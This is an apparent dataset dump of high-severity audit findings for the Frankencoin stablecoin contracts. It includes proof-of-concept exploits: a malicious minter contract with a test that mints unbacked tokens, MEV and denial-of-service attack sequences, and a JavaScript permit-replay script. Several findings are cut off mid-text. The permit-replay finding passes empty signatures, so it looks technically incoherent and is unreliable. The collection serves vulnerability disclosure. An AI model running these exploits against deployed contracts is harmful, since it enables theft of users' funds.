xanoutas/solidity-security-findings huggingface dataset:
Minter can notify unlimited losses in `Frankencoin::notifyLoss()`
Audit: 2023-04-frankencoin-findings
Severity: HIGH

# Lines of code

https://github.com/code-423n4/2023-04-frankencoin/blob/main/contracts/Frankencoin.sol#L280-L288


# Vulnerability details

Let's start with the fact that minters are permissionless, so anyone can create their own minter contract and register it in Frankencoin. If it's not challenged in required time, it's functional. Having said that, minter is free to notify any arbitrary loss, which in worst case may lead to hyperinflation and collapse of Frankencoin.


```
   function notifyLoss(uint256 _amount) override external minterOnly {
      uint256 reserveLeft = balanceOf(address(reserve));
      if (reserveLeft >= _amount){
         _transfer(address(reserve), msg.sender, _amount);
      } else {
         _transfer(address(reserve), msg.sender, reserveLeft);
         _mint(msg.sender, _amount - reserveLeft);
      }
   }
```

Function `notifyLoss()` first checks if reserve balance is enough. So, it first implies losses to all reserve stakers. Any amount not covered by the reserve is minted from the thin air, which dillutes ZCHF value. All of if is transferred to the minter without checking how much the minter minted. Additionally, notifying loss skips minting limit set for each minter, which allows a minter to get up to 2^256 ZCHF.

I decided to put it as HIGH, as there are already multiple issues and backdoors allowing a bad actor to become a valid minter I mentioned in my other submissions, and this vulnerability is basically a killswitch destroying whole Frankencoin ecosystem, that will eventually be exploited, if not fixed. So, I assess likelihood to Medium, and impact to Critical.

## Impact
Minter can notify losses superceeding their minted value, and thus stealing from the reserve or free minting of ZCHF

## Proof of Concept
Add folowing contract at the top of `test/GeneralTest.t.sol` file:
```
contract MaliciousMinter {
    IFrankencoin public zchf;

    constructor (IFrankencoin f) {
        zchf = f;
    }

    function steal(address from, uint amount) public {
        zchf.transferFrom(from, msg.sender, amount);
    }

    function signalLoss(uint amount) public {
        zchf.notifyLoss(amount);
    }
}

```

Put following test under `test/GeneralTest.t.sol` and run
`forge test -vvv -m 'SignalUnlimitedLoss'`
```solidity
    function test_SignalUnlimitedLoss() public {
        bob.obtainFrankencoins(swap, 30000 ether);
        alice.obtainFrankencoins(swap, 30000 ether);
        MaliciousMinter minter = new MaliciousMinter(zchf);

        vm.prank(address(bob));
        zchf.suggestMinter(address(minter), 864000, 1000e18, "");

        skip(864001);

        assertTrue(zchf.isMinter(address(minter)));

        assertEq(zchf.balanceOf(address(minter)), 0);
        minter.signalLoss(1_000_000 ether); // even though the minter didn't mint anything, their able to signal 1M loss
        assertEq(zchf.balanceOf(address(minter)), 1_000_000 ether); // minter received 1M ZCHF out of thin air
    }

```

## Tools Used
Manual analysis
Late `Equity` depositors receive disapproportionately low voting power
Audit: 2023-04-frankencoin-findings
Severity: HIGH

# Lines of code

https://github.com/code-423n4/2023-04-frankencoin/blob/main/contracts/Equity.sol#L241-L255
https://github.com/code-423n4/2023-04-frankencoin/blob/main/contracts/Equity.sol#L266-L269


# Vulnerability details

## Impact
Staking to `Equity` contract is uncommon and consist of transferring ZCHF directly to the contract using `ERC677::transferAndCall()`, and then handled in `Equity::onTokenTransfer()`

```    function onTokenTransfer(address from, uint256 amount, bytes calldata) external returns (bool) {
        require(msg.sender == address(zchf), "caller must be zchf");
        uint256 equity = zchf.equity();
        require(equity >= MINIMUM_EQUITY, "insuf equity"); // ensures that the initial deposit is at least 1000 ZCHF

        // Assign 1000 FPS for the initial deposit, calculate the amount otherwise
        uint256 shares = equity <= amount ? 1000 * ONE_DEC18 : calculateSharesInternal(equity - amount, amount);
        _mint(from, shares);
        ...
    }
```

Shares to mint (equal to voting power percentage) is not based on simple percentage user contribution to the pool like in [ERC4626](https://eips.ethereum.org/EIPS/eip-4626), but rather cubic root calculation. Shares to mint are being calculated using following function:
```
    function calculateSharesInternal(uint256 capitalBefore, uint256 investment) internal view returns (uint256) {
        uint256 totalShares = totalSupply();
        uint256 newTotalShares = totalShares < 1000 * ONE_DEC18 ? 1000 * ONE_DEC18 : _mulD18(totalShares, _cubicRoot(_divD18(capitalBefore + investment, capitalBefore)));
        return newTotalShares - totalShares;
    }
```

The problem here is cubic root calculation, which geometrically decreases number of shares to mint. I believe that the formula here should be similar to 
[ERC4626._convertToShares()](https://github.com/OpenZeppelin/openzeppelin-contracts/blob/master/contracts/token/ERC20/extensions/ERC4626.sol#L199-L201) and look similar to this:
```
uint256 shares = assetsSuppliedByUser * Equity.totalSupply() / ZCHF.balanceOf(Equity)
```

This assigns user shares based on their percentage contribution to the pool.

In PoC below, first depositor has x4 advantage on the same capital over other users. That breaks fundamental invariant that actors with "3% of the holding-period-weighted reserve pool shares gains veto power", as first user has ~4x advantage over second user, and over 5.5x advantage over third one. This ultimately leads to late depositors receiving dust voting amount based on their deposited amount, basically disallowing them to gain veto power with shares exceeding 3%, while first depositor requires only 0.75% pool share to receive veto power.

## Proof of Concept
Put following test under `test/GeneralTest.t.sol` and run
`forge test -m 'BalanceInflation'`
```solidity
    function test_BalanceInflation1() public {
        Equity equity = Equity(address(zchf.reserve()));
        require(equity.totalSupply() == 0, Strings.toSt
The minting limit in the StablecoinBridge can be manipulated by anyone
Audit: 2023-04-frankencoin-findings
Severity: HIGH

# Lines of code

https://github.com/code-423n4/2023-04-frankencoin/blob/main/contracts/StablecoinBridge.sol#L51


# Vulnerability details

## Impact

The `StablecoinBridge` contract has variable called `limit`. Which defines an upper limit for how many `ZCHF` can be minted by the bridge. 

```solidity
    function mintInternal(address target, uint256 amount) internal {
        require(block.timestamp <= horizon, "expired");
        require(chf.balanceOf(address(this)) <= limit, "limit");
        zchf.mint(target, amount);
    }
```

However, the amount of `ZCHF` that can be minted can be manipulated simply by sending CHF tokens directly to the contract itself.

## Proof of Concept
**Example**
- 1. limit is set to `limit=100` 
- 2. Manipulator sends 100 CHF tokens to the `bridge` with `CHF.transfer(bridge, 100)`
- 3. No ZCHF can be minted at all. Each `mint` will revert.

### Exploit Scenario

This attack can also be economical exploited in the following way. 

Assumptions:
- the underlying source CHF token lost it's peg or got hacked
- a percentage of the collateral of Frankencoin is packed by CHF tokens
- the `limit` is not reached and millions of ZCHF can be still minted

In this scenario abitragers will start to `mint` ZCHF tokens. This will have a price impact on the ZCHF token as well. Since it is not fully pegged any more.

The attacker can now perform the following steps to profit financially:
- 1. Buy CHF tokens on the market for nothing
- 2. Buy ZCHF tokens on the market for at a discount
- 3. The attacker blocks the minting by performing a regular CHF transfer to the bridge (limit attack)
- 4. No more ZCHF tokens can be minted with the bridge, token price will start to increase again
- 5. Profit

## Recommended Mitigation Steps
- use a balance variable to track the amount of CHF tokens deposited in Bridge contract
  - increase the `balance` variable in a mint
  - decrease the `balance' variable in a burn
- don't use `chf.balanceOf` for the limit check
When the challenge is successful, the user can send tokens to the position to avoid the position's cooldown period being extended
Audit: 2023-04-frankencoin-findings
Severity: HIGH

# Lines of code

https://github.com/code-423n4/2023-04-frankencoin/blob/1022cb106919fba963a89205d3b90bf62543f68f/contracts/Position.sol#L268-L276


# Vulnerability details

## Impact
When the challenge is successful, internalWithdrawCollateral will be called to transfer the collateral in the position. Note that the cooldown period of the position will be extended until the position expires only if the collateral in the position is less than minimumCollateral, if the user sends collateral to the position in advance, then the cool down period of the position will not be extended.
```solidity
    function internalWithdrawCollateral(address target, uint256 amount) internal returns (uint256) {
        IERC20(collateral).transfer(target, amount);
        uint256 balance = collateralBalance();
        if (balance < minimumCollateral){
            cooldown = expiration;
        }
        emitUpdate();
        return balance;
    }
```
I will use the following example to illustrate the severity of the issue.

Consider WETH:ZCHF=2000:1, the position has a challenge period of 3 days and the minimum amount of collateral is 1 WETH.

1. alice clones the position, offering 1 WETH to mint 0 zchf.
2. alice adjusts the price to 10e8, the cooldown period is extended to 3 days later.
3. bob offers 1 WETH to launch the challenge and charlie bids 1800 zchf.
4. Since bob has already covered all collateral, other challengers are unprofitable and will not launch new challenges
5. After 3 days, the cooldown period ends and the challenge expires.
6. bob calls end() to end the challenge.
7. alice observes bob's transaction and uses MEV to send 1 WETH to the position in advance.
8. bob's transaction is executed, charlie gets the 1 WETH collateral in the position, and alice gets most of the bid.
9. Since the position balance is still 1 WETH, the position cooldown period does not extend to the position expiration.
10.Since the position is not cooldown and there is no challenge at this point, alice uses that price to mint 10e8 zchf.
## Proof of Concept
https://github.com/code-423n4/2023-04-frankencoin/blob/1022cb106919fba963a89205d3b90bf62543f68f/contracts/Position.sol#L268-L276
https://github.com/code-423n4/2023-04-frankencoin/blob/1022cb106919fba963a89205d3b90bf62543f68f/contracts/Position.sol#L329-L354
https://github.com/code-423n4/2023-04-frankencoin/blob/1022cb106919fba963a89205d3b90bf62543f68f/contracts/MintingHub.sol#L252-L276
## Tools Used
None
## Recommended Mitigation Steps
Consider extending the cooldown period of the position even if the challenge is successful
Missing Input Validation in ERC20PermitLight contract
Audit: 2023-04-frankencoin-findings
Severity: HIGH

# Lines of code

https://github.com/code-423n4/2023-04-frankencoin/blob/1022cb106919fba963a89205d3b90bf62543f68f/contracts/ERC20PermitLight.sol#L45


# Vulnerability details

## Impact
The ERC20PermitLight contract has a security issue that allows attackers to move tokens from the owner's account to any address they want, without the owner's permission. This happens because the contract has a feature called "permit" that allows owners to approve transfers without needing a separate transaction, but it doesn't properly check that the owner actually approves the transfer.

## Proof of Concept
   These two lines of code import the necessary libraries needed to interact with the Ethereum network and smart contracts.

		const ethers = require('ethers');
		const Web3 = require('web3');


then we connect to the Network

	        const web3 = new Web3(new Web3.providers.HttpProvider('https://mainnet.infura.io/v3/your-infura-api-key'));

then we Set the contract address and abi

		const contractAddress = '0x1234567890123456789012345678901234567890';
		const contractAbi = [{...}];

By setting the victim's address and private key

		const victimAddress = '0x1234567890123456789012345678901234567890';
		const victimPrivateKey = '0x1234567890123456789012345678901234567890123456789012345678901234';

Then we set the attacker's address and private key

		const attackerAddress = '0x0987654321098765432109876543210987654321';
		const attackerPrivateKey = '0x0987654321098765432109876543210987654321098765432109876543210987';

then we create an ethers provider and signer with the victim's private key

		const provider = new ethers.providers.InfuraProvider('mainnet', 'your-infura-api-key');
		const signer = new ethers.Wallet(victimPrivateKey, provider);

After the victim private key Created a contract instance with the contract address and abi establish

	        const contract = new ethers.Contract(contractAddress, contractAbi, provider);

we generate a permit transaction with the victim's parameters

		const nonce = await contract.nonces(victimAddress);
		const deadline = Math.floor(Date.now() / 1000) + 3600;
		const permitData = await contract.populateTransaction.permit(victimAddress, attackerAddress, 1000, deadline, 0, '0x', '0x');
		const permitTx = {
		    from: victimAddress,
		    to: contractAddress,
		    data: permitData.data,
		    gasPrice: '0x1000000000',
		    gasLimit: '0x100000',
		    nonce: nonce.toString()
		};

Then we Sign the permit transaction with the victim's private key

	       const signedPermitTx = await signer.signTransaction(permitTx);

We create an ethers provider and signer with the attacker's private key

		const provider2 = new ethers.providers.InfuraProvider('mainnet', 'your-infura-api-key');
		const signer2 = new ethers.Wallet(attackerPrivateKey, provider2);


generate a replay transaction with the same nonce value as the original transaction

		const replayTx = {
		    from: attackerAddress,
		    to: contractAddress,
		    data: p
position.withdraw() Cannot prevent Multiple Token Addresses
Audit: 2023-04-frankencoin-findings
Severity: HIGH

# Lines of code

https://github.com/code-423n4/2023-04-frankencoin/blob/1022cb106919fba963a89205d3b90bf62543f68f/contracts/Position.sol#L250


# Vulnerability details

## Impact
`withdraw()` Cannot prevent collateral token be transfer out if token have `Multiple Token Addresses` 

## Proof of Concept
```solidity
    function withdraw(address token, address target, uint256 amount) external onlyOwner {
        if (token == address(collateral)){
            withdrawCollateral(target, amount);
        } else {
            IERC20(token).transfer(target, amount);
        }
    }
```    

If the collateral has multiple addresses, it will still be transferred out
https://github.com/d-xo/weird-erc20/#multiple-token-addresses

Suggestions for judging the balance of collateral

## Tools Used

## Recommended Mitigation Steps

```solidity
    function withdraw(address token, address target, uint256 amount) external onlyOwner {
+       uint356 balance = IERC20(collateral).balanceOf(this);
        if (token == address(collateral)){
            withdrawCollateral(target, amount);
        } else {
            IERC20(token).transfer(target, amount);
        }
+       require(IERC20(collateral).balanceOf(this) == balance,"invalid");
    }
```
transfer position ownership to `addr(0)` to DoS `end()` challenge
Audit: 2023-04-frankencoin-findings
Severity: HIGH

# Lines of code

https://github.com/code-423n4/2023-04-frankencoin/blob/1022cb106919fba963a89205d3b90bf62543f68f/contracts/MintingHub.sol#L268


# Vulnerability details

## Impact

If some challenge is about to succeed, the position owner will lose the collateral. Seeing the unavoidable loss, the owner can transfer the position ownership to `addr(0)`, fail the `end()` call of the challenge. At the end, the DoS in `end()` will have these impacts:
- the successful bidder will lose bid fund. 
- the challenger's collateral will be locked, and lose the challenge reward.


## Proof of Concept

Assuming, the position has `minimumCollateral` of 600 zchf, the position owner minted 1,000 zchf against some collateral worth of 1,100 zchf, the highest bid for the collateral was 1,060 zchf, the challenge reward being 50. Then in `Position.sol#notifyChallengeSucceeded()`, the `repayment` will be 1,000, but `effectiveBid` worth of 1,060. The `fundNeeded` will be 1,000 + 50 = 1,050, and results in excess of 1,060 - 1,050 = 10 to refund the position owner in line 268 `MintingHub.sol`. In addition, due to the `minimumCollateral` limit, this challenge cannot be split into smaller ones.

```solidity
File: contracts/MintingHub.sol
252:     function end(uint256 _challengeNumber, bool postponeCollateralReturn) public {

260:         (address owner, uint256 effectiveBid, uint256 volume, uint256 repayment, uint32 reservePPM) = challenge.position.notifyChallengeSucceeded(recipient, challenge.bid, challenge.size);
261:         if (effectiveBid < challenge.bid) {
262:             // overbid, return excess amount
263:             IERC20(zchf).transfer(challenge.bidder, challenge.bid - effectiveBid);
264:         }
265:         uint256 reward = (volume * CHALLENGER_REWARD) / 1000_000;
266:         uint256 fundsNeeded = reward + repayment;
267:         if (effectiveBid > fundsNeeded){
268:             zchf.transfer(owner, effectiveBid - fundsNeeded);

File: contracts/Position.sol
329:     function notifyChallengeSucceeded(address _bidder, uint256 _bid, uint256 _size) external onlyHub returns (address, uint256, uint256, uint256, uint32) {

349:         uint256 repayment = minted < volumeZCHF ? minted : volumeZCHF; // how much must be burned to make things even
350: 
351:         notifyRepaidInternal(repayment); // we assume the caller takes care of the actual repayment
352:         internalWithdrawCollateral(_bidder, _size); // transfer collateral to the bidder and emit update
353:         return (owner, _bid, volumeZCHF, repayment, reserveContribution);
354:     }
```

From the position owner's point of view, the position is on auction and has incurred loss already, only 10 zchf refund left. The owner can give up the tiny amount, and transfer the ownership to `addr(0)` to DoS the `end()` call.

When the position `owner` is `addr(0)`, the transfer in line 268 `MintingHub.sol` will revert, due to the requirement in zchf (inherited from `ERC20.sol`):
```solidity
File: contracts/ER
steal fund as challenger reward
Audit: 2023-04-frankencoin-findings
Severity: HIGH

# Lines of code

https://github.com/code-423n4/2023-04-frankencoin/blob/1022cb106919fba963a89205d3b90bf62543f68f/contracts/MintingHub.sol#L140-L148
https://github.com/code-423n4/2023-04-frankencoin/blob/1022cb106919fba963a89205d3b90bf62543f68f/contracts/Position.sol#L292-L296
https://github.com/code-423n4/2023-04-frankencoin/blob/1022cb106919fba963a89205d3b90bf62543f68f/contracts/Position.sol#L169-L171
https://github.com/code-423n4/2023-04-frankencoin/blob/1022cb106919fba963a89205d3b90bf62543f68f/contracts/MintingHub.sol#L252-L276
https://github.com/code-423n4/2023-04-frankencoin/blob/1022cb106919fba963a89205d3b90bf62543f68f/contracts/Position.sol#L329-L354


# Vulnerability details

## Impact

There is no check for the condition for the position when launching a challenge. An attacker can launch challenge on 
"dead" positions, such as closed positions, or positions with 0 `minted` amount, with or without collateral. The collateral balance could be manipulated by directly transfer collateral into the position to manipulating the function `Position.sol#collateralBalance()`. The attacker can game the system to steal fund as challenger reward, until the protocol fund is drained.


## Proof of Concept

There is no check for the condition of the position, or the challenge size upper limit to create a challenge, so a closed position with 0 collateral can be chosen to launch a challenge with any big size:
```solidity
File: contracts/MintingHub.sol
140:     function launchChallenge(address _positionAddr, uint256 _collateralAmount) external validPos(_positionAddr) returns (uint256) {
141:         IPosition position = IPosition(_positionAddr);
142:         IERC20(position.collateral()).transferFrom(msg.sender, address(this), _collateralAmount);
143:         uint256 pos = challenges.length;
144:         challenges.push(Challenge(msg.sender, position, _collateralAmount, block.timestamp + position.challengePeriod(), address(0x0), 0));
145:         position.notifyChallengeStarted(_collateralAmount);
146:         emit ChallengeStarted(msg.sender, address(position), _collateralAmount, pos);
147:         return pos;
148:     }

File: contracts/Position.sol
292:     function notifyChallengeStarted(uint256 size) external onlyHub {
293:         // require minimum size, note that collateral balance can be below minimum if it was partially challenged before
294:         if (size < minimumCollateral && size < collateralBalance()) revert ChallengeTooSmall();
295:         challengedAmount += size;
296:     }
```

The `collateralBalance()` calls the collateral token's `balanceOf()` method to get the balance. For close position with 0 balance collateral, if directly transfer 10,000 zchf worth collateral into the position, `collateralBalance()` will return 10,000 zchf. 
```solidity
File: contracts/Position.sol
169:     function collateralBalance() internal view returns (uint256){
170:         return IERC20(collateral).balanceOf(address(this));
171:     }
```

Assuming the r